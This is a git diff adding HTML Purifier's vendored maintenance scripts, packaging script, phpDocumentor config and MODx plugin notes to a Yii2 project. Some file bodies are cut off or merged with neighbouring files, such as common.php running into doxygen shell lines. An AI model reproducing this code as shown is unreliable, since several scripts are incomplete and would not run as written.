file mode 100644 index 00000000..342bc205 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/common.php @@ -0,0 +1,25 @@ +docs/doxygen/info.log 2>docs/doxygen/errors.log +if [ "$?" != 0 ]; then + cat docs/doxygen/errors.log + exit +fi +cd docs +tar czf doxygen.tgz doxygen diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/config-scanner.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/config-scanner.php new file mode 100644 index 00000000..c614d1fb --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/config-scanner.php @@ -0,0 +1,155 @@ +#!/usr/bin/php +globr('.', '*.php'); +$files = array(); +foreach ($raw_files as $file) { + $file = substr($file, 2); // rm leading './' + if (strncmp('standalone/', $file, 11) === 0) continue; // rm generated files + if (substr_count($file, '.') > 1) continue; // rm meta files + $files[] = $file; +} + +/** + * Moves the $i cursor to the next non-whitespace token + */ +function consumeWhitespace($tokens, &$i) +{ + do {$i++;} while (is_array($tokens[$i]) && $tokens[$i][0] === T_WHITESPACE); +} + +/** + * Tests whether or not a token is a particular type. There are three run-cases: + * - ($token, $expect_token): tests if the token is $expect_token type; + * - ($token, $expect_value): tests if the token is the string $expect_value; + * - ($token, $expect_token, $expect_value): tests if token is $expect_token type, and + * its string representation is $expect_value + */ +function testToken($token, $value_or_token, $value = null) +{ + if (is_null($value)) { + if (is_int($value_or_token)) return is_array($token) && $token[0] === $value_or_token; + else return $token === $value_or_token; + } else { + return is_array($token) && $token[0] === $value_or_token && $token[1] === $value; + } +} + +$counter = 0; +$full_counter = 0; +$tracker = array(); + +foreach ($files as $file) { + $tokens = token_get_all(file_get_contents($file)); + $file = str_replace('\\', '/', $file); + for ($i = 0, $c = count($tokens); $i < $c; $i++) { + $ok = false; + // Match $config + if (!$ok && testToken($tokens[$i], T_VARIABLE, '$config')) $ok = true; + // Match $this->config + while (!$ok && testToken($tokens[$i], T_VARIABLE, '$this')) { + consumeWhitespace($tokens, $i); + if (!testToken($tokens[$i], T_OBJECT_OPERATOR)) break; + consumeWhitespace($tokens, $i); + if (testToken($tokens[$i], T_STRING, 'config')) $ok = true; + break; + } + if (!$ok) continue; + + $ok = false; + for($i++; $i < $c; $i++) { + if ($tokens[$i] === ',' || $tokens[$i] === ')' || $tokens[$i] === ';') { + break; + } + if (is_string($tokens[$i])) continue; + if ($tokens[$i][0] === T_OBJECT_OPERATOR) { + $ok = true; + break; + } + } + if (!$ok) continue; + + $line = $tokens[$i][2]; + + consumeWhitespace($tokens, $i); + if (!testToken($tokens[$i], T_STRING, 'get')) continue; + + consumeWhitespace($tokens, $i); + if (!testToken($tokens[$i], '(')) continue; + + $full_counter++; + + $matched = false; + do { + + // What we currently don't match are batch retrievals, and + // wildcard retrievals. This data might be useful in the future, + // which is why we have a do {} while loop that doesn't actually + // do anything. + + consumeWhitespace($tokens, $i); + if (!testToken($tokens[$i], T_CONSTANT_ENCAPSED_STRING)) continue; + $id = substr($tokens[$i][1], 1, -1); + + $counter++; + $matched = true; + + if (!isset($tracker[$id])) $tracker[$id] = array(); + if (!isset($tracker[$id][$file])) $tracker[$id][$file] = array(); + $tracker[$id][$file][] = $line; + + } while (0); + + //echo "$file:$line uses $namespace.$directive\n"; + } +} + +echo "\n$counter/$full_counter instances of \$config or \$this->config found in source code.\n"; + +echo "Generating XML... "; + +$xw = new XMLWriter(); +$xw->openURI('../configdoc/usage.xml'); +$xw->setIndent(true); +$xw->startDocument('1.0', 'UTF-8'); +$xw->startElement('usage'); +foreach ($tracker as $id => $files) { + $xw->startElement('directive'); + $xw->writeAttribute('id', $id); + foreach ($files as $file => $lines) { + $xw->startElement('file'); + $xw->writeAttribute('name', $file); + foreach ($lines as $line) { + $xw->writeElement('line', $line); + } + $xw->endElement(); + } + $xw->endElement(); +} +$xw->endElement(); +$xw->flush(); + +echo "done!\n"; + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/flush-definition-cache.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/flush-definition-cache.php new file mode 100755 index 00000000..138badb6 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/flush-definition-cache.php @@ -0,0 +1,42 @@ +#!/usr/bin/php +flush($config); +} + +echo "Cache flushed successfully.\n"; + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/flush.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/flush.php new file mode 100644 index 00000000..c0853d23 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/flush.php @@ -0,0 +1,30 @@ +#!/usr/bin/php +/'; + +foreach ( $entity_files as $file ) { + $contents = file_get_contents($entity_dir . $file); + $matches = array(); + preg_match_all($regexp, $contents, $matches, PREG_SET_ORDER); + foreach ($matches as $match) { + $entity_table[$match[1]] = unichr($match[2]); + } +} + +$output = serialize($entity_table); + +$fh = fopen($output_file, 'w'); +fwrite($fh, $output); +fclose($fh); + +echo "Completed successfully."; + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/generate-includes.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/generate-includes.php new file mode 100644 index 00000000..01e1c2ab --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/generate-includes.php @@ -0,0 +1,192 @@ +#!/usr/bin/php +globr('.', '*.php'); +if (!$raw_files) throw new Exception('Did not find any PHP source files'); +$files = array(); +foreach ($raw_files as $file) { + $file = substr($file, 2); // rm leading './' + if (strncmp('standalone/', $file, 11) === 0) continue; // rm generated files + if (substr_count($file, '.') > 1) continue; // rm meta files + $ok = true; + foreach ($exclude_dirs as $dir) { + if (strncmp($dir, $file, strlen($dir)) === 0) { + $ok = false; + break; + } + } + if (!$ok) continue; // rm excluded directories + if (in_array($file, $exclude_files)) continue; // rm excluded files + $files[] = $file; +} +echo "done!\n"; + +// Reorder list so that dependencies are included first: + +/** + * Returns a lookup array of dependencies for a file. + * + * @note This function expects that format $name extends $parent on one line + * + * @param string $file + * File to check dependencies of. + * @return array + * Lookup array of files the file is dependent on, sorted accordingly. + */ +function get_dependency_lookup($file) +{ + static $cache = array(); + if (isset($cache[$file])) return $cache[$file]; + if (!file_exists($file)) { + echo "File doesn't exist: $file\n"; + return array(); + } + $fh = fopen($file, 'r'); + $deps = array(); + while (!feof($fh)) { + $line = fgets($fh); + if (strncmp('class', $line, 5) === 0) { + // The implementation here is fragile and will break if we attempt + // to use interfaces. Beware! + $arr = explode(' extends ', trim($line, ' {'."\n\r"), 2); + if (count($arr) < 2) break; + $parent = $arr[1]; + $dep_file = HTMLPurifier_Bootstrap::getPath($parent); + if (!$dep_file) break; + $deps[$dep_file] = true; + break; + } + } + fclose($fh); + foreach (array_keys($deps) as $file) { + // Extra dependencies must come *before* base dependencies + $deps = get_dependency_lookup($file) + $deps; + } + $cache[$file] = $deps; + return $deps; +} + +/** + * Sorts files based on dependencies. This function is lazy and will not + * group files with dependencies together; it will merely ensure that a file + * is never included before its dependencies are. + * + * @param $files + * Files array to sort. + * @return + * Sorted array ($files is not modified by reference!) + */ +function dep_sort($files) +{ + $ret = array(); + $cache = array(); + foreach ($files as $file) { + if (isset($cache[$file])) continue; + $deps = get_dependency_lookup($file); + foreach (array_keys($deps) as $dep) { + if (!isset($cache[$dep])) { + $ret[] = $dep; + $cache[$dep] = true; + } + } + $cache[$file] = true; + $ret[] = $file; + } + return $ret; +} + +$files = dep_sort($files); + +// Build the actual include stub: + +$version = trim(file_get_contents('../VERSION')); + +// stub +$php = " PH5P.patch"); +unlink($newt); + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/generate-schema-cache.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/generate-schema-cache.php new file mode 100644 index 00000000..339ff12d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/generate-schema-cache.php @@ -0,0 +1,45 @@ +#!/usr/bin/php +buildDir($interchange); + +$loader = dirname(__FILE__) . '/../config-schema.php'; +if (file_exists($loader)) include $loader; +foreach ($_SERVER['argv'] as $i => $dir) { + if ($i === 0) continue; + $builder->buildDir($interchange, realpath($dir)); +} + +$interchange->validate(); + +$schema_builder = new HTMLPurifier_ConfigSchema_Builder_ConfigSchema(); +$schema = $schema_builder->build($interchange); + +echo "Saving schema... "; +file_put_contents($target, serialize($schema)); +echo "done!\n"; + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/generate-standalone.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/generate-standalone.php new file mode 100755 index 00000000..254d4d83 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/generate-standalone.php @@ -0,0 +1,159 @@ +#!/usr/bin/php +copyr($dir, 'standalone/' . $dir); +} + +/** + * Copies the contents of a file to the standalone directory + * @param string $file File to copy + */ +function make_file_standalone($file) +{ + global $FS; + $FS->mkdirr('standalone/' . dirname($file)); + copy_and_remove_includes($file, 'standalone/' . $file); + return true; +} + +/** + * Copies a file to another location recursively, if it is a PHP file + * remove includes + * @param string $file Original file + * @param string $sfile New location of file + */ +function copy_and_remove_includes($file, $sfile) +{ + $contents = file_get_contents($file); + if (strrchr($file, '.') === '.php') $contents = replace_includes($contents); + return file_put_contents($sfile, $contents); +} + +/** + * @param $matches preg_replace_callback matches array, where index 1 + * is the filename to include + */ +function replace_includes_callback($matches) +{ + $file = $matches[1]; + $preserve = array( + // PEAR (external) + 'XML/HTMLSax3.php' => 1 + ); + if (isset($preserve[$file])) { + return $matches[0]; + } + if (isset($GLOBALS['loaded'][$file])) return ''; + $GLOBALS['loaded'][$file] = true; + return replace_includes(remove_php_tags(file_get_contents($file))); +} + +echo 'Generating includes file... '; +shell_exec('php generate-includes.php'); +echo "done!\n"; + +chdir(dirname(__FILE__) . '/../library/'); + +echo 'Creating full file...'; +$contents = replace_includes(file_get_contents('HTMLPurifier.includes.php')); +$contents = str_replace( + // Note that bootstrap is now inside the standalone file + "define('HTMLPURIFIER_PREFIX', realpath(dirname(__FILE__) . '/..'));", + "define('HTMLPURIFIER_PREFIX', dirname(__FILE__) . '/standalone'); + set_include_path(HTMLPURIFIER_PREFIX . PATH_SEPARATOR . get_include_path());", + $contents +); +file_put_contents('HTMLPurifier.standalone.php', $contents); +echo ' done!' . PHP_EOL; + +echo 'Creating standalone directory...'; +$FS->rmdirr('standalone'); // ensure a clean copy + +// data files +$FS->mkdirr('standalone/HTMLPurifier/DefinitionCache/Serializer'); +make_file_standalone('HTMLPurifier/EntityLookup/entities.ser'); +make_file_standalone('HTMLPurifier/ConfigSchema/schema.ser'); + +// non-standard inclusion setup +make_dir_standalone('HTMLPurifier/ConfigSchema'); +make_dir_standalone('HTMLPurifier/Language'); +make_dir_standalone('HTMLPurifier/Filter'); +make_dir_standalone('HTMLPurifier/Printer'); +make_file_standalone('HTMLPurifier/Printer.php'); +make_file_standalone('HTMLPurifier/Lexer/PH5P.php'); + +echo ' done!' . PHP_EOL; + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/merge-library.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/merge-library.php new file mode 100755 index 00000000..de2eecdc --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/merge-library.php @@ -0,0 +1,11 @@ +#!/usr/bin/php +open('w'); + $multiline = false; + foreach ($hash as $key => $value) { + $multiline = $multiline || (strpos($value, "\n") !== false); + if ($multiline) { + $file->put("--$key--" . PHP_EOL); + $file->put(str_replace("\n", PHP_EOL, $value) . PHP_EOL); + } else { + if ($key == 'ID') { + $file->put("$value" . PHP_EOL); + } else { + $file->put("$key: $value" . PHP_EOL); + } + } + } + $file->close(); +} + +$schema = HTMLPurifier_ConfigSchema::instance(); +$adapter = new HTMLPurifier_ConfigSchema_StringHashReverseAdapter($schema); + +foreach ($schema->info as $ns => $ns_array) { + saveHash($adapter->get($ns)); + foreach ($ns_array as $dir => $x) { + saveHash($adapter->get($ns, $dir)); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/old-remove-require-once.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/old-remove-require-once.php new file mode 100644 index 00000000..f47c7d0f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/old-remove-require-once.php @@ -0,0 +1,32 @@ +#!/usr/bin/php +globr('.', '*.php'); +foreach ($files as $file) { + if (substr_count(basename($file), '.') > 1) continue; + $old_code = file_get_contents($file); + $new_code = preg_replace("#^require_once .+[\n\r]*#m", '', $old_code); + if ($old_code !== $new_code) { + file_put_contents($file, $new_code); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/old-remove-schema-def.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/old-remove-schema-def.php new file mode 100644 index 00000000..5ae03197 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/old-remove-schema-def.php @@ -0,0 +1,32 @@ +#!/usr/bin/php +globr('.', '*.php'); +foreach ($files as $file) { + if (substr_count(basename($file), '.') > 1) continue; + $old_code = file_get_contents($file); + $new_code = preg_replace("#^HTMLPurifier_ConfigSchema::.+?\);[\n\r]*#ms", '', $old_code); + if ($old_code !== $new_code) { + file_put_contents($file, $new_code); + } + if (preg_match('#^\s+HTMLPurifier_ConfigSchema::#m', $new_code)) { + echo "Indented ConfigSchema call in $file\n"; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/regenerate-docs.sh b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/regenerate-docs.sh new file mode 100755 index 00000000..6f4d720f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/regenerate-docs.sh @@ -0,0 +1,5 @@ +#!/bin/bash -e +./compile-doxygen.sh +cd ../docs +scp doxygen.tgz htmlpurifier.org:/home/ezyang/htmlpurifier.org +ssh htmlpurifier.org "cd /home/ezyang/htmlpurifier.org && ./reload-docs.sh" diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/remove-trailing-whitespace.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/remove-trailing-whitespace.php new file mode 100644 index 00000000..85787054 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/remove-trailing-whitespace.php @@ -0,0 +1,37 @@ +#!/usr/bin/php +globr('.', '{,.}*', GLOB_BRACE); +foreach ($files as $file) { + if ( + !is_file($file) || + prefix_is('./.git', $file) || + prefix_is('./docs/doxygen', $file) || + postfix_is('.ser', $file) || + postfix_is('.tgz', $file) || + postfix_is('.patch', $file) || + postfix_is('.dtd', $file) || + postfix_is('.ent', $file) || + $file == './library/HTMLPurifier/Lexer/PH5P.php' || + $file == './maintenance/PH5P.php' + ) continue; + $contents = file_get_contents($file); + $result = preg_replace('/^(.*?)[ \t]+(\r?)$/m', '\1\2', $contents, -1, $count); + if (!$count) continue; + echo "$file\n"; + file_put_contents($file, $result); +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/rename-config.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/rename-config.php new file mode 100644 index 00000000..6e59e2a7 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/rename-config.php @@ -0,0 +1,84 @@ +#!/usr/bin/php +buildFile($interchange, $file); +$contents = file_get_contents($file); + +if (strpos($contents, "\r\n") !== false) { + $nl = "\r\n"; +} elseif (strpos($contents, "\r") !== false) { + $nl = "\r"; +} else { + $nl = "\n"; +} + +// replace name with new name +$contents = str_replace($old, $new, $contents); + +if ($interchange->directives[$old]->aliases) { + $pos_alias = strpos($contents, 'ALIASES:'); + $pos_ins = strpos($contents, $nl, $pos_alias); + if ($pos_ins === false) $pos_ins = strlen($contents); + $contents = + substr($contents, 0, $pos_ins) . ", $old" . substr($contents, $pos_ins); + file_put_contents($file, $contents); +} else { + $lines = explode($nl, $contents); + $insert = false; + foreach ($lines as $n => $line) { + if (strncmp($line, '--', 2) === 0) { + $insert = $n; + break; + } + } + if (!$insert) { + $lines[] = "ALIASES: $old"; + } else { + array_splice($lines, $insert, 0, "ALIASES: $old"); + } + file_put_contents($file, implode($nl, $lines)); +} + +rename("$old.txt", "$new.txt") || exit(1); diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/update-config.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/update-config.php new file mode 100644 index 00000000..2d8a7a9c --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/update-config.php @@ -0,0 +1,34 @@ +#!/usr/bin/php +set and $config->get to the new + * format, as described by docs/dev-config-bcbreaks.txt + */ + +$FS = new FSTools(); +chdir(dirname(__FILE__) . '/..'); +$raw_files = $FS->globr('.', '*.php'); +foreach ($raw_files as $file) { + $file = substr($file, 2); // rm leading './' + if (strpos($file, 'library/standalone/') === 0) continue; + if (strpos($file, 'maintenance/update-config.php') === 0) continue; + if (strpos($file, 'test-settings.php') === 0) continue; + if (substr_count($file, '.') > 1) continue; // rm meta files + // process the file + $contents = file_get_contents($file); + $contents = preg_replace( + "#config->(set|get)\('(.+?)', '(.+?)'#", + "config->\\1('\\2.\\3'", + $contents + ); + if ($contents === '') continue; + file_put_contents($file, $contents); +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/update-freshmeat.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/update-freshmeat.php new file mode 100644 index 00000000..4d73c76a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/maintenance/update-freshmeat.php @@ -0,0 +1,161 @@ +#!/usr/bin/php + 'utf-8', + ); + + /** + * This array defines shortcut method signatures for dealing with simple + * XML RPC methods. More complex ones (publish_release) should use the named parameter + * syntax. + */ + public $signatures = array( + 'login' => array('username', 'password'), + 'fetch_branch_list' => array('project_name'), + 'fetch_release' => array('project_name', 'branch_name', 'version'), + 'withdraw_release' => array('project_name', 'branch_name', 'version'), + ); + + protected $sid = null; + + /** + * @param $username Username to login with + * @param $password Password to login with + */ + public function __construct($username = null, $password = null) + { + if ($username && $password) { + $this->login($username, $password); + } + } + + /** + * Performs a raw XML RPC call to self::URL + */ + protected function call($method, $params) + { + $request = xmlrpc_encode_request($method, $params, $this->encodeOptions); + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, self::URL); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_TIMEOUT, 1); + curl_setopt($ch, CURLOPT_HTTPHEADER, array( + 'Content-type: text/xml', + 'Content-length: ' . strlen($request) + )); + curl_setopt($ch, CURLOPT_POSTFIELDS, $request); + $data = curl_exec($ch); + if ($errno = curl_errno($ch)) { + throw new Exception("Curl error [$errno]: " . curl_error($ch)); + } else { + curl_close($ch); + return xmlrpc_decode($data); + } + } + + /** + * Performs an XML RPC call to Freshmeat. + * @param $name Name of method to call, can be methodName or method_name + * @param $args Arguments of call, in form array('key1', 'val1', 'key2' ...) + */ + public function __call($name, $args) + { + $method = $this->camelToUnderscore($name); + $params = array(); + if ($this->sid) $params['SID'] = $this->sid; + if (isset($this->signatures[$method])) { + for ($i = 0, $c = count($this->signatures[$method]); $i < $c; $i++) { + $params[$this->signatures[$method][$i]] = $args[$i]; + } + } else { + for ($i = 0, $c = count($args); $i + 1 < $c; $i += 2) { + $params[$args[$i]] = $args[$i + 1]; + } + } + $result = $this->call($method, $params); + switch ($method) { + case 'login': + $this->sid = $result['SID']; + break; + case 'logout': + $this->sid = null; + break; + } + if ($this->chatty) print_r($result); + return $result; + } + + /** + * Munge methodName to method_name + */ + private function camelToUnderscore($name) + { + $method = ''; + for ($i = 0, $c = strlen($name); $i < $c; $i++) { + $v = $name[$i]; + if (ctype_lower($v)) $method .= $v; + else $method .= '_' . strtolower($v); + } + return $method; + } + + /** + * Automatically logout at end of scope + */ + public function __destruct() + { + if ($this->sid) $this->logout(); + } + +} + +$rpc = new XmlRpc_Freshmeat($argv[1], $argv[2]); +$rpc->chatty = true; + +$project = 'htmlpurifier'; +$branch = 'Default'; +$version = file_get_contents('../VERSION'); + +$result = $rpc->fetchRelease($project, $branch, $version); +if (!isset($result['faultCode'])) { + echo "Freshmeat release already exists.\n"; + exit(0); +} + +$changes = strtr(file_get_contents('../WHATSNEW'), array("\r" => '', "\n" => ' ')); +$focus = (int) trim(file_get_contents('../FOCUS')); + +if (strlen($changes) > 600) { + echo "WHATSNEW entry is too long.\n"; + exit(1); +} + +$rpc->publishRelease( + 'project_name', $project, + 'branch_name', $branch, + 'version', $version, + 'changes', $changes, + 'release_focus', $focus, + 'url_tgz', "http://htmlpurifier.org/releases/htmlpurifier-$version.tar.gz", + 'url_zip', "http://htmlpurifier.org/releases/htmlpurifier-$version.zip", + 'url_changelog', "http://htmlpurifier.org/svnroot/htmlpurifier/tags/$version/NEWS" +); + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/package.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/package.php new file mode 100644 index 00000000..bfef9362 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/package.php @@ -0,0 +1,61 @@ +setOptions( + array( + 'baseinstalldir' => '/', + 'packagefile' => 'package.xml', + 'packagedirectory' => realpath(dirname(__FILE__) . '/library'), + 'filelistgenerator' => 'file', + 'include' => array('*'), + 'dir_roles' => array('/' => 'php'), // hack to put *.ser files in the right place + 'ignore' => array( + 'HTMLPurifier.standalone.php', + 'HTMLPurifier.path.php', + '*.tar.gz', + '*.tgz', + 'standalone/' + ), + ) +); + +$pkg->setPackage('HTMLPurifier'); +$pkg->setLicense('LGPL', 'http://www.gnu.org/licenses/lgpl.html'); +$pkg->setSummary('Standards-compliant HTML filter'); +$pkg->setDescription( + 'HTML Purifier is an HTML filter that will remove all malicious code + (better known as XSS) with a thoroughly audited, secure yet permissive + whitelist and will also make sure your documents are standards + compliant.' +); + +$pkg->addMaintainer('lead', 'ezyang', 'Edward Z. Yang', 'admin@htmlpurifier.org', 'yes'); + +$version = trim(file_get_contents('VERSION')); +$api_version = substr($version, 0, strrpos($version, '.')); + +$pkg->setChannel('htmlpurifier.org'); +$pkg->setAPIVersion($api_version); +$pkg->setAPIStability('stable'); +$pkg->setReleaseVersion($version); +$pkg->setReleaseStability('stable'); + +$pkg->addRelease(); + +$pkg->setNotes(file_get_contents('WHATSNEW')); +$pkg->setPackageType('php'); + +$pkg->setPhpDep('5.0.0'); +$pkg->setPearinstallerDep('1.4.3'); + +$pkg->generateContents(); + +$pkg->writePackageFile(); + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/phpdoc.ini b/php/yii2/basic/vendor/ezyang/htmlpurifier/phpdoc.ini new file mode 100644 index 00000000..c4c37235 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/phpdoc.ini @@ -0,0 +1,102 @@ +;; phpDocumentor parse configuration file +;; +;; This file is designed to cut down on repetitive typing on the command-line or web interface +;; You can copy this file to create a number of configuration files that can be used with the +;; command-line switch -c, as in phpdoc -c default.ini or phpdoc -c myini.ini. The web +;; interface will automatically generate a list of .ini files that can be used. +;; +;; default.ini is used to generate the online manual at http://www.phpdoc.org/docs +;; +;; ALL .ini files must be in the user subdirectory of phpDocumentor with an extension of .ini +;; +;; Copyright 2002, Greg Beaver +;; +;; WARNING: do not change the name of any command-line parameters, phpDocumentor will ignore them + +[Parse Data] +;; title of all the documentation +;; legal values: any string +title = HTML Purifier API Documentation + +;; parse files that start with a . like .bash_profile +;; legal values: true, false +hidden = false + +;; show elements marked @access private in documentation by setting this to on +;; legal values: on, off +parseprivate = off + +;; parse with javadoc-like description (first sentence is always the short description) +;; legal values: on, off +javadocdesc = on + +;; add any custom @tags separated by commas here +;; legal values: any legal tagname separated by commas. +;customtags = mytag1,mytag2 + +;; This is only used by the XML:DocBook/peardoc2 converter +defaultcategoryname = Documentation + +;; what is the main package? +;; legal values: alphanumeric string plus - and _ +defaultpackagename = HTMLPurifier + +;; output any parsing information? set to on for cron jobs +;; legal values: on +;quiet = on + +;; parse a PEAR-style repository. Do not turn this on if your project does +;; not have a parent directory named "pear" +;; legal values: on/off +;pear = on + +;; where should the documentation be written? +;; legal values: a legal path +target = docs/phpdoc + +;; Which files should be parsed out as special documentation files, such as README, +;; INSTALL and CHANGELOG? This overrides the default files found in +;; phpDocumentor.ini (this file is not a user .ini file, but the global file) +readmeinstallchangelog = README, INSTALL, NEWS, WYSIWYG, SLOW, LICENSE, CREDITS + +;; limit output to the specified packages, even if others are parsed +;; legal values: package names separated by commas +;packageoutput = package1,package2 + +;; comma-separated list of files to parse +;; legal values: paths separated by commas +;filename = /path/to/file1,/path/to/file2,fileincurrentdirectory + +;; comma-separated list of directories to parse +;; legal values: directory paths separated by commas +;directory = /path1,/path2,.,..,subdirectory +;directory = /home/jeichorn/cvs/pear +directory = . + +;; template base directory (the equivalent directory of /phpDocumentor) +;templatebase = /path/to/my/templates + +;; directory to find any example files in through @example and {@example} tags +;examplesdir = /path/to/my/templates + +;; comma-separated list of files, directories or wildcards ? and * (any wildcard) to ignore +;; legal values: any wildcard strings separated by commas +;ignore = /path/to/ignore*,*list.php,myfile.php,subdirectory/ +ignore = *tests*,*benchmarks*,*docs*,*test-settings.php,*configdoc*,*maintenance*,*smoketests*,*standalone*,*.svn*,*conf* + +sourcecode = on + +;; comma-separated list of Converters to use in outputformat:Convertername:templatedirectory format +;; legal values: HTML:frames:default,HTML:frames:l0l33t,HTML:frames:phpdoc.de,HTML:frames:phphtmllib, +;; HTML:frames:earthli, +;; HTML:frames:DOM/default,HTML:frames:DOM/l0l33t,HTML:frames:DOM/phpdoc.de, +;; HTML:frames:DOM/phphtmllib,HTML:frames:DOM/earthli +;; HTML:Smarty:default,HTML:Smarty:PHP,HTML:Smarty:HandS +;; PDF:default:default,CHM:default:default,XML:DocBook/peardoc2:default +output=HTML:frames:default + +;; turn this option on if you want highlighted source code for every file +;; legal values: on/off +sourcecode = on + +; vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/modx.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/modx.txt new file mode 100644 index 00000000..0763821b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/modx.txt @@ -0,0 +1,112 @@ + +MODx Plugin + +MODx is an open source PHP application framework. +I first came across them in my referrer logs when tillda asked if anyone +could implement an HTML Purifier plugin. This forum thread + eventually resulted +in the fruition of this plugin that davidm says, "is on top of my favorite +list." HTML Purifier goes great with WYSIWYG editors! + + + +1. Credits + +PaulGregory wrote the overall structure of the code. I added the +slashes hack. + + + +2. Install + +First, you need to place HTML Purifier library somewhere. The code here +assumes that you've placed in MODx's assets/plugins/htmlpurifier (no version +number). + +Log into the manager, and navigate: + +Resources > Manage Resources > Plugins tab > New Plugin + +Type in a name (probably HTML Purifier), and copy paste this code into the +textarea: + +-------------------------------------------------------------------------------- +$e = &$modx->Event; +if ($e->name == 'OnBeforeDocFormSave') { + global $content; + + include_once '../assets/plugins/htmlpurifier/library/HTMLPurifier.auto.php'; + $purifier = new HTMLPurifier(); + + static $magic_quotes = null; + if ($magic_quotes === null) { + // this is an ugly hack because this hook hasn't + // had the backslashes removed yet when magic_quotes_gpc is on, + // but HTMLPurifier must not have the quotes slashed. + $magic_quotes = get_magic_quotes_gpc(); + } + + if ($magic_quotes) $content = stripslashes($content); + $content = $purifier->purify($content); + if ($magic_quotes) $content = addslashes($content); +} +-------------------------------------------------------------------------------- + +Then navigate to the System Events tab and check "OnBeforeDocFormSave". +Save the plugin. HTML Purifier now is integrated! + + + +3. Making sure it works + +You can test HTML Purifier by deliberately putting in crappy HTML and seeing +whether or not it gets fixed. A better way is to put in something like this: + +

              Il est bon

              + +...and seeing whether or not the content comes out as: + +

              Il est bon

              + +(lang to xml:lang synchronization is one of the many features HTML Purifier +has). + + + +4. Caveat Emptor + +This code does not intercept save requests from the QuickEdit plugin, this may +be added in a later version. It also modifies things on save, so there's a +slight chance that HTML Purifier may make a boo-boo and accidently mess things +up (the original version is not saved). + +Finally, make sure that MODx is using UTF-8. If you are using, say, a French +localisation, you may be using Latin-1, if that's the case, configure +HTML Purifier properly like this: + +$config = HTMLPurifier_Config::createDefault(); +$config->set('Core', 'Encoding', 'ISO-8859-1'); // or whatever encoding +$purifier = new HTMLPurifier($config); + + + +5. Known Bugs + +'rn' characters sometimes mysteriously appear after purification. We are +currently investigating this issue. See: + + + +6. See Also + +A modified version of Jot 1.1.3 is available, which integrates with HTML +Purifier. You can check it out here: + + +X. Changelog + +2008-06-16 +- Updated code to work with 3.1.0 and later +- Add Known Bugs and See Also section + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/.gitignore b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/.gitignore new file mode 100644 index 00000000..8325e090 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/plugins/phorum/.gitignore 